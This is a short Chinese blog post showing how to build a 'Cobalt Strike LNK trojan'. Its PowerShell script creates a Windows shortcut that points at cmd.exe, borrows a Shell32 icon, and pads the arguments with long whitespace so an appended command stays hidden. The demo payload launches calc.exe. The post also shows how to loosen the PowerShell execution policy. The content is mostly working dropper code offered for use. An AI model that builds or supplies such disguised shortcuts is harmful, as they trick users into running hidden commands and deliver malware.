Cobalt Strike之LINK木马

在同一目录下
新建一个exp.ps1
一个test.txt
在这里插入图片描述

exp.ps1代码

$file = Get-Content "test.txt"
$WshShell = New-Object -comObject WScript.Shell
$Shortcut = $WshShell.CreateShortcut("test.lnk")
$Shortcut.TargetPath = "%SystemRoot%\system32\cmd.exe"
$Shortcut.IconLocation = "%SystemRoot%\System32\Shell32.dll,21"
$Shortcut.Arguments = '                                                                                                                                                                                                                                    '+ $file
$Shortcut.Save()

计算器test.txt代码

cmd /c calc.exe

exp.ps1右键编辑
点击运行,即可生成test快捷方式
在这里插入图片描述
在这里插入图片描述

错误:

无法加载文件 D:\Workshop\Powershell\Sprinkler\src\Scripts\SPRINKLE.ps1,
因为在此系统中禁止执行脚本。有关详细信息,请参阅 "get-help about_signing"

解决方法:
以管理员权限运行cmd 输入以下命令

powershell
set-ExecutionPolicy RemoteSigned
posted @ 2018-11-15 12:05  浅笑996  阅读(315)  评论(0)    收藏  举报